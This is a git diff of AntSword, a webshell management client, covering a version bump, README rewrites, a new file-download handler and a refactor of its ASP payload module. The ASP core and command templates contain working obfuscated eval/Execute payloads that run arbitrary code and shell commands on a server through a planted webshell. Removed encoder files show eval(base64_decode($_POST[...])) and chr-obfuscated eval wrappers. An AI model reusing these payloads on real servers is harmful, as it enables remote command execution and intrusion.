diff --git a/CHANGELOG.md b/CHANGELOG.md index 0788943a..a496cb53 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,24 @@ > 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT. ## 2016/04 +### /16 `(v1.2.0)` + 1. 重新架构核心模块编码器 + 2. 优化shellmanager添加/编辑功能 + 3. 重构语言模板加载方案 + 4. 增加中文部分开发文档 + +### /14 + 1. 增加文件管理模块拖拽文件上传功能 + +### /13 + 1. 完全重写优化核心代码架构 + 2. 增强文件下载功能,支持稳定下载大文件 + 3. 优化HTTP请求函数 + 4. 增加显示文件管理左侧目录数 + +### /12 + 1. 修复文件管理模板XSS安全问题 + ### /10 `(v.1.1.2)` 1. 增加文件管理中可执行文件的提示样式 2. 调整文件管理中任务面板默认折叠(当有任务时自动展开 diff --git a/README.md b/README.md index 2a8db5a3..e569611c 100644 --- a/README.md +++ b/README.md @@ -1,100 +1,67 @@ -# AntSword - 中国蚁剑 -> 一剑在手,纵横无忧! +# AntSword +> AntSword is an `open source` and `cross-platform`'s **Web Site Administration Tool**. +> You can use it easily and intuitively to management your website(webshell). -**中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。** -**任何人不得将其用于非法用途以及盈利等目的,也禁止未经允许私自修改打包进行发布,否则后果自行承担并将追究其相关责任!** +[![node](https://img.shields.io/badge/node-4.0+-green.svg?style=flat-square)](https://nodejs.org/en/download/) +[![release](https://img.shields.io/badge/release-v1.2.0-blue.svg?style=flat-square)](https://github.com/antoor/antSword/releases/tag/1.2.0) -[![node](https://img.shields.io/badge/node-v4.0+-green.svg?style=flat-square)](https://nodejs.org/en/download/) -[![release](https://img.shields.io/badge/release-v1.1.2-blue.svg?style=flat-square)](https://github.com/antoor/antSword/releases/tag/1.1.2) +[中文说明][url-doccn] | [开发文档][url-document] | [CHANGELOG][url-changelog] -## 设计思想 -> 中国蚁剑采用了[Electron](http://electron.atom.io/)作为外壳,`ES6`作为前端代码编写语言,搭配`Babel`&&`Webpack`进行组件化构建编译,外加`iconv-lite`编码解码模块以及`superagent`数据发送处理模块还有`nedb`数据存储模块,组成了这个年轻而又充满活力的新一代大杀器。 +## Start +If you do not care about how to write the code, you can go to the [Release Page](https://github.com/antoor/antSword/releases) to download the corresponding archive decompression, and then executed directly to use! -这里附上一个简单的开发思维导图,让大家了解蚁剑是如何工作的: -![思维导图](screenshots/gliffy.png) +**If you are interested in this code, we welcome you to join!** -如图所示,中国蚁剑推崇模块化的开发思想,遵循着**开源,就要开得漂亮**的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出的力所能及的点点滴滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力。 +It does not require much coding knowledge you have, you just need to know what it means and how to modify the code on it! -## 开始使用 -如果你是个正常使用普通用户,不需要关心代码如何编写以及没有改动等需求,那可以进入[release](https://github.com/antoor/antSword/releases)页面,选择你的系统版本进行下载对应压缩包,解压使用即可! +## Start with source code -> **注意**: OSX因安全设置,可能在运行时提示未知开发者而无法运行,此时进入系统偏好设置->安全性与隐私->通用->允许任何来源的程序运行即可。 +#### 0x01. Get the source code -如果你是个喜欢编码喜欢个性化的自由主义者,那么,欢迎一起探讨学习,一起打怪升级! - -### 下载源码 ``` sh $ git clone https://github.com/antoor/antSword.git -$ cd antSword ``` -### 安装模块 -``` sh -$ npm install +or + +Click the download url below: + ``` -> 安装`electron-prebuilt`模块过程中会自动下载`electron`程序,由于网络原因下载速度可能较慢,此时不要终止结束安装,如若不小心在没下载完成之前`Ctrl+C`结束掉了安装脚本,那只需要重新卸载此模块在此安装即可。 -> 如果遇到问题(国内速度慢) -```sh -$ npm install -g cnpm -—registry=https://registry.npm.taobao.org -$ cnpm install electron-prebuilt@0.36.11 -$ npm install +https://github.com/antoor/antSword/archive/master.zip ``` +#### 0x02. Install node_modules + +``` sh +$ cd antSword +$ npm install +``` -注意到源码目录的`source`目录了吗?对,我们主要的修改点就是它啦! -**目前开发文档指南正在抽空编写中,各位可自行提前研究** -在修改后,我们需要进行一项重要的操作:编译!否则修改会无法起效~ +#### 0x03. Build the sources -### 编译源码 ``` sh $ npm run build ``` -> **提示**:你可以在执行编译的时候不关闭终端窗口保持监听编译进程,然后在修改源码保存后即可实时进行编译处理,此时重启应用就可以看到效果啦。 -### 启动应用 +#### 0x04. Began to enjoy + ``` sh $ npm start ``` -> **提示**:应用启动后,如果修改了代码并进行了编译处理,则可不必关闭应用再重新打开。 -> 直接点击菜单栏的调试->重启应用或者快捷键`Ctrl+R`刷新页面即可。 - -### 应用截图 -> 如果在没开始之前瞧瞧这款工具都能干些什么,那么,就瞅瞅这几张截图提前了解吧! - -#### 数据配置管理 -![数据配置管理](screenshots/win-shellmanager.png) -#### 虚拟终端 -![虚拟终端](screenshots/linux-terminal.png) -#### 文件管理 -![文件管理](screenshots/osx-filemanager.png) -#### 数据库管理 -![数据库管理](screenshots/osx-database.png) - -## 开发进度 -**本项目起始于2015年底的一个小想法:** -使用浏览器访问我们的一句话eval服务端脚本,然后通过浏览器加载一条JS资源,将其页面转换为具有全功能的管理控制面板。 -后来在编写中发现,有一个问题很难解决:**编码** -前端处理编码比较复杂,以本人目前功力暂无法突破,只能暂时使用服务端进行处理实现。 - -所以,这个使用`Electron`进行包装的工具就出现了。 -其中有优点也有缺点,比如跨平台支持、数据编码存储操作方便,比如文件过大、好像没啥缺点了。 - -但不管怎样,时代在进步,我相信这款工具也能跟随着大家一起进步。 -我不追求它功能有多强大,能否名扬万里,能否取代xxx,只希望它对每一位使用者都能提供帮助,能让每一位爱好者都能学到点滴。 - -目前功能已经完成了三大主流脚本的支持,包括`php`、`asp`、`aspx`以及自定义`custom`脚本,还有三大主要功能模块的实现,包括`文件管理`、`虚拟终端`、`数据库管理`以及正在开发中的`插件中心`等核心功能。 -虽能满足基本的需求,但因测试有限,仍有部分BUG等待解决。 - -> 目前版本所有的脚本代码均来源于伟大的**中国菜刀**,本人只是进行了解密以及一些改动,在此感谢作者并向其致敬!致敬每一位为网络安全做出贡献的新老前辈! -## 开源协议 -本项目遵循`MIT`开源协议,详情请查看[LICENSE](LICENSE)。 +## Join us + * Email: [u@uyu.us][url-email] + * HomePage: [http://uyu.us][url-homepage] + * MyWeibo: [http://weibo.com/antoor][url-weibo] -## 加入我们 -> 我们欢迎对本工具有兴趣、有追求、有能力改进的人才加入,一起学习探讨深入研究! +## License +This project is licensed under the terms of the [MIT license][url-mit] -**你可以通过下列方式加入我们**: -* Q群: [130993112](http://shang.qq.com/wpa/qunwpa?idkey=51997458a52d534454fd15e901648bf1f2ed799fde954822a595d6794eadc521) -* 官网: [http://uyu.us](http://uyu.us) -* 微博: [蚁逅](http://weibo.com/antoor) +[url-doccn]: README_CN.md +[url-changelog]: CHANGELOG.md +[url-homepage]: http://uyu.us +[url-email]: mailto:u@uyu.us +[url-weibo]: http://weibo.com/antoor +[url-mit]: LICENSE +[url-document]: http://doc.uyu.us diff --git a/README_CN.md b/README_CN.md new file mode 100644 index 00000000..c845b815 --- /dev/null +++ b/README_CN.md @@ -0,0 +1,104 @@ +# AntSword - 中国蚁剑 +> 一剑在手,纵横无忧! + +**中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。** +**任何人不得将其用于非法用途以及盈利等目的,也禁止未经允许私自修改打包进行发布,否则后果自行承担并将追究其相关责任!** + +[![node](https://img.shields.io/badge/node-4.0+-green.svg?style=flat-square)][url-nodejs-download] +[![release](https://img.shields.io/badge/release-v1.2.0-blue.svg?style=flat-square)][url-release] + +[英文说明][url-docen] | [开发文档][url-document] | [CHANGELOG][url-changelog] + +## 开发栈 + - [Electron][url-electron] + - [ES6][url-es6] + - [Webpack][url-webpack] + - [dhtmlx][url-dhtmlx] + - [Nodejs][url-nodejs] + - 以及其他在项目中调用到的库 + +中国蚁剑推崇模块化的开发思想,遵循着**开源,就要开得漂亮**的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出的力所能及的点点滴滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力。 + +## 开始使用 +如果你是个正常使用普通用户,不需要关心代码如何编写以及没有改动等需求,那可以进入[release][url-release]页面,选择你的系统版本进行下载对应压缩包,解压使用即可! + +> **注意**: OSX因安全设置,可能在运行时提示未知开发者而无法运行,此时进入系统偏好设置->安全性与隐私->通用->允许任何来源的程序运行即可。 + +如果你是个喜欢编码喜欢个性化的自由主义者,那么,欢迎一起探讨学习,一起打怪升级! + +### 下载源码 +``` sh +$ git clone https://github.com/antoor/antSword.git +$ cd antSword +``` + +### 安装模块 +``` sh +$ npm install +``` +> 安装`electron-prebuilt`模块过程中会自动下载`electron`程序,由于网络原因下载速度可能较慢,此时不要终止结束安装,如若不小心在没下载完成之前`Ctrl+C`结束掉了安装脚本,那只需要重新卸载此模块在此安装即可。 +> 如果遇到问题(国内速度慢) + + ```sh + $ npm install -g cnpm -—registry=https://registry.npm.taobao.org + $ cnpm install electron-prebuilt@0.36.11 + $ npm install + ``` + + +### 编译源码 +``` sh +$ npm run build +``` +> **提示**:你可以在执行编译的时候不关闭终端窗口保持监听编译进程,然后在修改源码保存后即可实时进行编译处理,此时重启应用就可以看到效果啦。 + +### 启动应用 +``` sh +$ npm start +``` +> **提示**:应用启动后,如果修改了代码并进行了编译处理,则可不必关闭应用再重新打开。 +> 直接点击菜单栏的调试->重启应用或者快捷键`Ctrl+R`刷新页面即可。 + +## 开发进度 +当前最新版本为`1.2+`,从开源到现在前前后后修复了大量的BUG,大大提升了使用稳定性能,也逐步添加优化了多处功能。 +目前支持三大主流服务端脚本:`PHP`、`ASP`、`ASPX`以及自定义`CUSTOM`脚本,提供三大主功能操作:`文件管理`、`命令终端`、`数据库管理`。 **随着文档以及部分功能的添加,未来将会支持更多的服务端脚本以及功能模块** + +## 未来展望 +**目前的功能已经基本满足常规的管理操作。但是,其还远远没达到最终所希望的样子。** +那么,未来的中国蚁剑应该长啥样呢? + - **健全的插件中心模块(类atom插件管理)**:用户可以快速地使用我们封装好的API,编写出符合自己所需功能的大大小小插件,比如文件扫描、代码审计、漏洞修复等等; + - **自由的扩展中心模块**:在扩展中心里,我们可以自定义给自己的程序添加各种方便的小功能,比如服务端脚本生成、文件管理功能增强、UI美化、数据导入导出备份加密等等; + - **多种多样的支持脚本**:在web如此发达的时代,各式各样的web服务脚本如雨后春笋般涌出,nodejs、python、golang。。这些都应该用一个工具就能全部管理,那就是我们未来的**中国蚁剑**! + +## 致敬感谢 +> 目前版本所有的脚本代码均来源于伟大的**中国菜刀**,本人只是进行了解密以及一些改动,在此感谢作者并向其致敬!致敬每一位为网络安全做出贡献的新老前辈! + +同时,也对参与开发以及意见改进还有捐助本项目的朋友们表示感谢! +**感谢你们一路的陪伴,才能让它有机会越走越远!** + +## 开源协议 +本项目遵循`MIT`开源协议,详情请查看[LICENSE](LICENSE)。 + +## 加入我们 +> 我们欢迎对本工具有兴趣、有追求、有能力改进的人才加入,一起学习探讨深入研究! + +**你可以通过下列方式加入我们**: + +* Q群: [130993112](http://shang.qq.com/wpa/qunwpa?idkey=51997458a52d534454fd15e901648bf1f2ed799fde954822a595d6794eadc521) +* 官网: [http://uyu.us][url-homepage] +* 微博: [蚁逅][url-weibo] + + +[url-docen]: README.md +[url-changelog]: CHANGELOG.md +[url-document]: http://doc.uyu.us +[url-nodejs-download]: https://nodejs.org/en/download/ +[url-release]: https://github.com/antoor/antSword/releases/tag/1.2.0 +[url-electron]: http://electron.atom.io/ +[url-es6]: http://es6.ruanyifeng.com/ +[url-webpack]: http://webpack.github.io/ +[url-dhtmlx]: http://dhtmlx.com/ +[url-nodejs]: https://nodejs.org/ +[url-weibo]: http://weibo.com/antoor +[url-homepage]: http://uyu.us +[url-release]: https://github.com/antoor/antSword/releases diff --git a/app.js b/app.js index cc81def8..66157a49 100644 --- a/app.js +++ b/app.js @@ -44,5 +44,4 @@ app ['menubar', 'request', 'database', 'cache', 'update'].map((_) => { new ( require(`./modules/${_}`) )(electron, app, mainWindow); }); - - }); \ No newline at end of file + }); diff --git a/modules/request.js b/modules/request.js index 096958a4..42084469 100644 --- a/modules/request.js +++ b/modules/request.js @@ -4,6 +4,8 @@ 'use strict'; +const fs = require('fs'); +const through = require('through'); const log4js = require('log4js'); const iconv = require('iconv-lite'); const superagent = require('superagent'); @@ -35,10 +37,10 @@ class Request { .end((err, ret) => { if (err) { logger.debug("[aProxy] Test Error"); - return event.sender.send('aproxytest-error', err); + return event.sender.send('aproxytest-error-' + opts['hash'], err); }else{ logger.debug("[aProxy] Test Success"); - return event.sender.send('aproxytest-success', ret); + return event.sender.send('aproxytest-success-' + opts['hash'], ret); } }); }); @@ -85,44 +87,105 @@ class Request { }); }); }); + /** + * 监听文件下载请求 + * - 技术实现:通过pipe进行数据流逐步解析,当遇到截断符,则标记,最后数据传输完成,利用标记点进行数据截取,最后保存。 + * @opts {Object:path,url,data,tag_s,tag_e} + */ + ipcMain.on('download', (event, opts) => { + logger.debug('DOWNLOAD', opts); + + // 创建文件流 + const rs = fs.createWriteStream(opts['path']); + + let indexStart = -1; + let indexEnd = -1; + let tempData = []; + + // 开始HTTP请求 + superagent + .post(opts['url']) + .set('User-Agent', userAgent) + .proxy(aproxyuri) + .type('form') + // 设置超时会导致文件过大时写入出错 + // .timeout(timeout) + .send(opts['data']) + .pipe(through( + (chunk) => { + // 判断数据流中是否包含后截断符?长度++ + let temp = chunk.indexOf(opts['tag_e']); + if (temp !== -1) { + indexEnd = Buffer.concat(tempData).length + temp; + }; + tempData.push(chunk); + event.sender.send('download-progress-' + opts['hash'], chunk.length); + }, + () => { + let tempDataBuffer = Buffer.concat(tempData); + + indexStart = tempDataBuffer.indexOf(opts['tag_s']) || 0; + // 截取最后的数据 + let finalData = new Buffer(tempDataBuffer.slice( + indexStart + opts['tag_s'].length, + indexEnd + ), 'binary'); + // 写入文件流&&关闭 + rs.write(finalData); + rs.close(); + event.sender.send('download-' + opts['hash'], finalData.length); + // 删除内存数据 + finalData = tempDataBuffer = tempData = null; + } + )); + }); } // 二进制数据流解析 - parse(tag_s, tag_e, hook, res, callback) { + parse(tag_s, tag_e, chunkCallBack, res, callback) { // 数据转换二进制处理 res.setEncoding('binary'); res.data = ''; + // 2. 把分隔符转换为16进制 + const tagHexS = new Buffer(tag_s).toString('hex'); + const tagHexE = new Buffer(tag_e).toString('hex'); + let foundTagS = false; let foundTagE = false; res.on('data', (chunk) => { - let temp = ''; + // 这样吧,我们尝试一种新的数据截取算法: + // 1. 把数据流转换为16进制 + let chunkHex = new Buffer(chunk).toString('hex'); + // 3. 根据分隔符进行判断截断数据流 + let temp = ''; // 如果包含前后截断,则截取中间 - if (chunk.indexOf(tag_s) >= 0 && chunk.lastIndexOf(tag_e) >= 0) { - const index_s = chunk.indexOf(tag_s); - const index_e = chunk.lastIndexOf(tag_e); - temp = chunk.substr(index_s + tag_s.length, index_e - index_s - tag_e.length); + if (chunkHex.indexOf(tagHexS) >= 0 && chunkHex.lastIndexOf(tagHexE) >= 0) { + let index_s = chunkHex.indexOf(tagHexS); + let index_e = chunkHex.lastIndexOf(tagHexE); + temp = chunkHex.substr(index_s + tagHexS.length, index_e - index_s - tagHexE.length); foundTagS = foundTagE = true; } // 如果只包含前截断,则截取后边 - else if (chunk.indexOf(tag_s) >= 0 && chunk.lastIndexOf(tag_e) === -1) { - temp = chunk.split(tag_s)[1]; + else if (chunkHex.indexOf(tagHexS) >= 0 && chunkHex.lastIndexOf(tagHexE) === -1) { + temp = chunkHex.split(tagHexS)[1]; foundTagS = true; } // 如果只包含后截断,则截取前边 - else if (chunk.indexOf(tag_s) === -1 && chunk.lastIndexOf(tag_e) >= 0) { - temp = chunk.split(tag_e)[0]; + else if (chunkHex.indexOf(tagHexS) === -1 && chunkHex.lastIndexOf(tagHexE) >= 0) { + temp = chunkHex.split(tagHexE)[0]; foundTagE = true; } // 如果有没有,那就是中途迷路的数据啦 ^.^ else if (foundTagS && !foundTagE) { - temp = chunk; + temp = chunkHex; } + // 4. 十六进制还原为二进制 + let finalData = new Buffer(temp, 'hex'); + // 5. 返回还原好的数据 + chunkCallBack(finalData); - // 回调实时获取数据hook - hook(new Buffer(temp, 'binary')); - - res.data += temp; + res.data += finalData; }); res.on('end', () => { logger.info('end::size=' + res.data.length, res.data.length < 10 ? res.data : ''); diff --git a/modules/update.js b/modules/update.js index b9691b64..c4916db5 100644 --- a/modules/update.js +++ b/modules/update.js @@ -1,6 +1,6 @@ -// +// // 程序更新模块 -// +// /* 更新流程: ------- 1. 获取远程github上的package.json信息 @@ -115,4 +115,4 @@ class Update { } -module.exports = Update; \ No newline at end of file +module.exports = Update; diff --git a/package.json b/package.json index af0a736e..b27d7798 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "antsword", - "version": "1.1.2", + "version": "1.2.0", "description": "中国蚁剑是一款跨平台的开源网站管理工具", "main": "app.js", "dependencies": { @@ -17,6 +17,7 @@ "nugget": "^2.0.0", "superagent": "^1.6.1", "superagent-proxy": "^1.0.0", + "through": "^2.3.8", "webpack": "^1.12.14" }, "scripts": { @@ -29,13 +30,13 @@ "type": "git", "url": "https://github.com/antoor/antSword" }, - "debug": false, + "debug": true, "update": { - "md5": "13f38b143dfabf90ea296269acd5b547", - "logs": "添加 PHP Custom Spy,及多个 Shell 样本\n增加文件管理中可执行文件的提示样式\n调整文件管理中任务面板默认折叠(当有任务时自动展开", + "md5": "9632088a0be879fad2682793a8facd81", + "logs": "修复文件管理模板XSS安全问题\n完全重写优化核心代码架构\n增强文件下载功能,支持稳定下载大文件\n优化HTTP请求函数\n增加显示文件管理左侧目录数\n增加文件管理模块拖拽文件上传功能\n重新架构核心模块编码器\n优化shellmanager添加/编辑功能\n重构语言模板加载方案\n增加中文部分开发文档", "sources": { - "coding.net": "https://coding.net/api/share/download/573ed38e-ab89-4b16-86ff-2d0d58517a3f", - "github": "https://github.com/antoor/antSword/releases/download/1.1.2/update.zip" + "coding.net": "https://coding.net/api/share/download/e821cb92-3654-419d-894d-a1a2d9cdf2a5", + "github": "https://github.com/antoor/antSword/releases/download/1.2.0/update.zip" } }, "bugs": { diff --git a/source/app.entry.jsx b/source/app.entry.jsx index 172202cb..b6a1ffcf 100644 --- a/source/app.entry.jsx +++ b/source/app.entry.jsx @@ -1,9 +1,9 @@ -// -// 程序入口 -// ------- -// create: 2015/12/20 -// update: 2016/04/02 -// +/** + * 中国蚁剑::程序入口 + * 创建:2015/12/20 + * 更新:2016/04/16 + * 作者:蚁逅 + */ 'use strict'; @@ -15,13 +15,32 @@ import Menubar from './base/menubar'; import CacheManager from './base/cachemanager'; const antSword = window.antSword = { + /** + * XSS过滤函数 + * @param {String} html 过滤前字符串 + * @return {String} 过滤后的字符串 + */ noxss: (html) => { return String(html).replace(/&/g, "&").replace(/>/g, ">").replace(/ { // 读取 if (!value) { @@ -32,15 +51,11 @@ const antSword = window.antSword = { } }; -// 加载模板代码 -['php', 'asp', 'aspx', 'custom'].map((_) => { - antSword['core'][_] = require(`./core/${_}/index`); -}); +// 加载核心模板 +antSword['core'] = require('./core/index'); -// 加载显示语言 -let _lang = localStorage.getItem('language') || navigator.language; -_lang = ['en', 'zh'].indexOf(_lang) === -1 ? 'en' : _lang; -antSword['language'] = require(`./language/${_lang}`); +// 加载语言模板 +antSword['language'] = require('./language/index'); // 加载代理 const aproxy = { diff --git a/source/core/asp/encoder/base64.jsx b/source/core/asp/encoder/base64.jsx deleted file mode 100644 index b329b784..00000000 --- a/source/core/asp/encoder/base64.jsx +++ /dev/null @@ -1,12 +0,0 @@ -// -// php::base64 编码模块 -// -'use strict'; - -module.exports = (pwd, data) => { - const randomID = `_0x${Math.random().toString(16).substr(2)}`; - data[randomID] = new Buffer(data['_']).toString('base64'); - data[pwd] = `eval(base64_decode($_POST[${randomID}]));`; - delete data['_']; - return data; -} \ No newline at end of file diff --git a/source/core/asp/encoder/chr.jsx b/source/core/asp/encoder/chr.jsx deleted file mode 100644 index 6703eb3d..00000000 --- a/source/core/asp/encoder/chr.jsx +++ /dev/null @@ -1,28 +0,0 @@ -// -// encoder::chr -// -// chr编码器 -// -------- -// 利用php函数`chr`进行编码处理 -// -'use strict' - -module.exports = (pwd, data) => { - // 编码函数 - const encode = (php) => { - let ret = []; - let i = 0; - while(i < php.length) { - ret.push(php[i].charCodeAt()); - i ++; - } - return `eVAl(cHr(${ret.join(').ChR(')}));`; - } - - // 编码并去除多余数据 - data[pwd] = encode(data._); - delete data._; - - // 返回数据 - return data; -} \ No newline at end of file diff --git a/source/core/asp/index.jsx b/source/core/asp/index.jsx index f8cee8c0..fd31253f 100644 --- a/source/core/asp/index.jsx +++ b/source/core/asp/index.jsx @@ -1,173 +1,61 @@ -// -// 代码模板::asp -// +/** + * ASP服务端脚本模板 + * 开写:2016/04/12 + * 更新:- + * 作者:蚁逅 + */ +'use strict'; -const iconv = global.require('iconv-lite'); - -class ASP { +import Base from '../base'; +class ASP extends Base { constructor(opts) { - this.__opts__ = opts; - this.parseTpl([ - 'base', - 'command', - 'filemanager', - 'database/dsn', - 'database/mysql', - 'database/access', - 'database/oracle', - 'database/sqlserver', - 'database/sqloledb_1', - 'database/sqloledb_1_sspi', - 'database/microsoft_jet_oledb_4_0' - ]); - this.parseEnr([]); - } - - // 格式化函数 - format() { - const encode = this.__opts__['encode'] || 'utf8'; - return { - base64: (str) => { - // 编码 - const _str_ = iconv.encode(new Buffer(str), encode); - return new Buffer(_str_).toString('base64'); - }, - // 转换为16进制::编码 - hex: (b) => { - let ret = []; - let buff = iconv.encode(new Buffer(b), encode); - - buff.toJSON()['data'].map((i) => { - let _ = i.toString(16); - _.length < 2 ? _ = `0${_}` : null; - ret.push(_); - }); - - return ret.join('').toUpperCase(); - }, - // 转换为16进制::不编码 - buffer: (b) => { - let ret = []; - - b.toJSON()['data'].map((i) => { - let _ = i.toString(16); - _.length < 2 ? _ = `0${_}` : null; - ret.push(_); - }); - - return ret.join('').toUpperCase(); - } - }; - } - - // 解析模板 - parseTpl(tpl) { - let _export = {}; - - // 模板格式化函数 - const format = this.format(); - - // 加载模板代码 - tpl.map((t) => { - // 解析模板 - this[t.replace(/\//g, '_')] = {}; - let m = require(`./template/${t}`); - for (let _ in m) { - this[t.replace(/\//g, '_')][_] = ( (c) => { - // 如果需要参数 - if (typeof(c) === 'object') { - return (argv, success, error, hook) => { - let data = $.extend({}, c); - // 格式化参数 - for (let d in data) { - (data[d].match(/#{([\w\:]+)}/g) || []).map( (tag) => { - let _t = tag.substr(2, tag.length - 3); - // 如果需要字符处理 - let _f = _t.split('::'); - let _ff; - if ((_f.length > 0) && (_ff = format[_f[0]])) { - // _t = _ff(argv[_f[1]] || _t); - _t = _ff(argv[_f[1]] || ''); - }else{ - // _t = argv[_t] || _t; - _t = argv[_t] || ''; - } - data[d] = data[d].replace(tag, _t) - } ); - } - this.ajax(data, success, error, hook); - } - }else{ - let data = { - _: c - }; - return (success, error, hook) => { - this.ajax(data, success, error, hook); - } - } - } )(m[_]); - } + super(opts); + // 解析模板 + [ + 'base', 'command', 'filemanager', + 'database/dsn', 'database/mysql', + 'database/access', 'database/oracle', + 'database/sqlserver', 'database/sqloledb_1', + 'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0' + ].map((_) => { + this.parseTemplate(`./asp/template/${_}`); + }); + // 解析编码器 + this.encoders.map((_) => { + this.parseEncoder(`./asp/encoder/${_}`); }); } - // 解析编码模块 - parseEnr(edr) { - let encoder = { - // 默认编码器 - default: (pwd, data) => { - data[pwd] = data['_']; - delete data['_']; - return data; - } - }; - edr.map((_) => { - encoder[_] = require(`./encoder/${_}`); - }); - this.__encoder__ = encoder; + /** + * 获取编码器列表 + * @return {array} 编码器列表 + */ + get encoders() { + return []; } - ajax(code, success, error, hook) { - let post = $.extend({}, code); - // 随机ID(用于监听数据来源) - const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_'); - const tag_s = '-=:{'; - const tag_e = '}:=-'; - const encode = this.__opts__['encode'] || 'utf8'; + /** + * HTTP请求数据组合函数 + * @param {Object} data 通过模板解析后的代码对象 + * @return {Promise} 返回一个Promise操作对象 + */ + complete(data) { + // 分隔符号 + let tag_s = '->|'; + let tag_e = '|<-'; - const code_hex = this.format()['hex'](post['_']); + let formatter = new this.format(this.__opts__['encode']); - post['_'] = `eval("Ex"&cHr(101)&"cute(""Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""${tag_s}""""):Ex"&cHr(101)&"cute(""""On Error Resume Next:""""&bd(""""${code_hex}"""")):Response.Write(""""${tag_e}""""):Response.End"")")`; + // hex编码一次数据 + let hexCode = formatter['hex'](data['_']); - // 编码处理模板 - const encoder = this.__encoder__[this.__opts__['encoder'] || 'default'] || this.__encoder__['default']; - const data = encoder(this.__opts__['pwd'], post); + // 组合完整的代码 + data['_'] = `eval("Ex"&cHr(101)&"cute(""Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""${tag_s}""""):Ex"&cHr(101)&"cute(""""On Error Resume Next:""""&bd(""""${hexCode}"""")):Response.Write(""""${tag_e}""""):Response.End"")")`; - // 监听数据返回 - antSword['ipcRenderer'] - // 请求完毕返回数据{text,buff} - .on(`request-${hash}`, (event, arg) => { - success(arg['text'], arg['buff']); - }) - // HTTP请求返回字节流 - .on(`request-chunk-${hash}`, (event, ret) => { - hook ? hook(ret) : null; - }) - // 数据请求错误 - .on(`request-error-${hash}`, (event, ret) => { - error ? error(ret) : null; - }) - // 发送请求数据 - .send('request', { - url: this.__opts__['url'], - hash: hash, - data: data, - tag_s: tag_s, - tag_e: tag_e, - encode: encode - }); + // 使用编码器进行处理并返回 + return this.encodeComplete(tag_s, tag_e, data); } - } -module.exports = ASP; \ No newline at end of file +module.exports = ASP; diff --git a/source/core/asp/template/argv.jsx b/source/core/asp/template/argv.jsx deleted file mode 100644 index 3390a1de..00000000 --- a/source/core/asp/template/argv.jsx +++ /dev/null @@ -1,14 +0,0 @@ -/** - * 在模板中使用 - * 1. 加载需要的参数列表: import { arg1, arg2, arg3 } from './argv'; - * 2. 嵌入代码参数中:codes={[arg1]: `echo "${arg1}";`}... - **/ - -const random = () => `0x${(Math.random() + Math.random()).toString(16).substr(2)}`; - -export const arg1 = random(); -export const arg2 = random(); -export const arg3 = random(); -export const arg4 = random(); -export const arg5 = random(); -export const arg6 = random(); \ No newline at end of file diff --git a/source/core/asp/template/base.jsx b/source/core/asp/template/base.jsx index 1e7db68c..e91e815a 100644 --- a/source/core/asp/template/base.jsx +++ b/source/core/asp/template/base.jsx @@ -1,9 +1,9 @@ -// -// 基础信息模板 -// 获取:当前路径、磁盘列表 -// +/** + * 基础信息模板 + * ? 获取当前路径、盘符列表 + */ -module.exports = { +module.exports = () => ({ info: `Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)` -} \ No newline at end of file +}) diff --git a/source/core/asp/template/command.jsx b/source/core/asp/template/command.jsx index db07c0d4..185d36cc 100644 --- a/source/core/asp/template/command.jsx +++ b/source/core/asp/template/command.jsx @@ -1,14 +1,12 @@ -// -// 命令执行模板 -// +/** + * 命令执行模板 + */ -import { arg1, arg2 } from './argv'; - -module.exports = { +module.exports = (arg1, arg2) => ({ exec: { _: `Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`, [arg1]: "#{hex::bin}", [arg2]: "#{hex::cmd}" } -} \ No newline at end of file +}) diff --git a/source/core/asp/template/database/access.jsx b/source/core/asp/template/database/access.jsx index 05971180..e3db7336 100644 --- a/source/core/asp/template/database/access.jsx +++ b/source/core/asp/template/database/access.jsx @@ -1,14 +1,8 @@ -// -// ASP::access数据库驱动代码模板 -// +/** + * ASP::access数据库驱动代码模板 + */ - -import { - arg1, arg2, arg3, - arg4, arg5, arg6 -} from '../argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: @@ -36,4 +30,4 @@ module.exports = { [arg1]: '#{hex::conn}', [arg2]: '#{hex::sql}', } -} \ No newline at end of file +}) diff --git a/source/core/asp/template/database/default.jsx b/source/core/asp/template/database/default.jsx index 6918e9ef..2b3530fd 100644 --- a/source/core/asp/template/database/default.jsx +++ b/source/core/asp/template/database/default.jsx @@ -1,13 +1,8 @@ -// -// 默认数据库操作代码模板 -// +/** + * 默认数据库操作代码模板 + */ -import { - arg1, arg2, arg3, - arg4, arg5, arg6 -} from '../argv'; - 